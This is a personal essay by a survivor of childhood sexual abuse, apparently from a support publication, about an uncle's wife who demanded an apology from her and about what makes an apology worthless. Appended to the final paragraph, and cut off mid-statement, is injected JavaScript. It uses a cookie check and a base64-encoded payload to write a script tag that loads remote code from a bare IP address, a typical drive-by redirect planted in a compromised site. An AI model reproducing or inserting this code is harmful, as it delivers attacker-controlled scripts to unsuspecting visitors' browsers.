What Kind of Apology is This???

By: Bonnie
It was while reading our editor’s thoughts on forgiveness that I related back to an encounter I had in 1983. It involved an uncle who had sexually abused me at the age of 8, and more particularly his wife. When I developed the courage to request that he pay me for counseling I needed, she learned of this and became hysterical.
She approached me as the most “hurt” and “distraught” human I had ever seen! She claimed that she was so hurt, and not ready to come visit and speak personally to me, that she expected – and almost insisted – that I beg her forgiveness because of what I had said to them. She exclaimed, “You think I’m not hurt and breaking down for what you said?!!”
The ability to turn things around seems to surround abusers and their cohorts. I had no response! I realize in reflecting about this, that I was truly immature in the 1980’s and without any strength or knowledge of how to defend myself. But how was ANY of this my fault?
I now see that this is how people like this ARE. The trouble is that abusers always seem to be protected by their army of defenders. Indeed, experience shows the truth of the adage that there’s safety in numbers.
This just compounds the abuse! They were able to marshal their greater maturity and experience to confront me and make me the abuser. They were indignant! Isn’t THAT a switch!
This man’s wife knew what he did to me, because I was not the first. By his comments I can safely assume that he was a hardened pedophile. For instance he stated that he was interested in another of his nieces but that (this was the 1960’s) “She’s getting a little too old. I can switch to you because you are younger.”
What a time to have a tape recorder running! Of course, as I mentioned, I was young and unsophisticated at that time. His enabler wife had known all along about his deviant behavior and still supported him!
She expected me to apologize to them, and I guess that at the time I probably did. Today I wouldn’t give her the time of day. Somehow I forgive her less than I would forgive him. This is probably because I know he has since had to give an account to God for his wrongdoings.
With my present perspective I can note the following: If you are not sincere about an apology, don’t even attempt it – because it is worthless. If on the other hand you are truly sorry, it’s worth a million bucks. I know how much a humble apology would have helped and strengthened me. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘